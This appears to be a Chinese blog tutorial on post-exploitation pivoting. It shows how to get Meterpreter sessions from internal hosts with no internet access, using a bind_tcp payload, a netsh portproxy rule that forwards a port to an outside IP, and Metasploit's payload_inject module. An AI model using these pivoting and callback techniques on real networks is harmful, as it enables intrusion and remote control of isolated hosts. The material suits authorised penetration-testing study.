1.情况描述

如图,这里我们发现再172.16.1.x中,是没有外网连接的
image.png
例如内网ip 172.16.1.125 ipconfig 如下
image.png
我们发现目标并没有网络,即目标不出网,但是我们发现内网的oa平台, 172.16.1.123 192.168.1.123 ipconfig 如下
内网oa未双网卡服务器,可以连接外网
image.png
image.png

2.正向反弹 meterpreter bind_tcp

在我们获取到192.168.1.x 的会话后,因该如何获取到172.16.1.x的会话,像msf可以切换payload选项为bind
image.png

这样也可以获得会话
image.png

3.内网转发

把内网的某些端口转发出外网,然后连接外网的被转发端口

(1) netsh 端口转发

https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh 微软官方介绍
使用netsh interface portproxy命令充当IPv4和IPv6网络与应用程序之间的代理。您可以通过以下方式使用这些命令来建立代理服务:

  • 已将配置了IPv4的计算机和应用程序消息发送到其他配置了IPv4的计算机和应用程序。
  • 已将配置了IPv4的计算机和应用程序消息发送到配置了IPv6的计算机和应用程序。
  • 已将配置了IPv6的计算机和应用程序消息发送到配置了IPv4的计算机和应用程序。
  • 已将配置了IPv6的计算机和应用程序消息发送到其他配置了IPv6的计算机和应用程序
    1. add v4tov4 listenport= {Integer | ServiceName} [[connectaddress=] {IPv4Address | HostName}] [[connectport=] {Integer | ServiceName}] [[listenaddress=] {IPv4Address | HostName}] [[protocol=]tcp]

    Parameters

    PARAMETERS
Parameter Description
listenport Specifies the IPv4 port, by port number or service name, on which to listen.
connectaddress Specifies the IPv4 address to which to connect. Acceptable values are IP address, computer NetBIOS name, or computer DNS name. If an address is not specified, the default is the local computer.
connectport Specifies the IPv4 port, by port number or service name, to which to connect. If connectport is not specified, the default is the value of listenport on the local computer.
listenaddress Specifies the IPv4 address for which to listen. Acceptable values are IP address, computer NetBIOS name, or computer DNS name. If an address is not specified, the default is the local computer.
protocol Specifies the protocol to use.

示例
把本机的33304 端口转发至 117.167.136.243的33339

  1. netsh interface portproxy add v4tov4 listenaddress=172.16.1.123 listenport=33304 connectaddre
  2. ss=117.167.136.243 connectport=33339

查看正在监听的端口

  1. netsh interface portproxy show all

image.png
这样的话,我们只需要修改payload 的地址为 172.16.1.123 的33304 端口,所有能够访问到172.16.1.123 的主机都能上线到msf

测试
我们直接通过session 14 来进行测试,session 14 正是通过msf的bind来维持会话的
image.png
我们选择直接注入payload

  1. use exploit/windows/local/payload_inject

payload 设置如下
image.png
设置会话
image.png
msf的监听器设置如下
image.png
image.png
回到payload注入模块,开始注入session
image.png
可以看到session 建立成功
image.png
image.png
这样我们不出网的目标成功出外网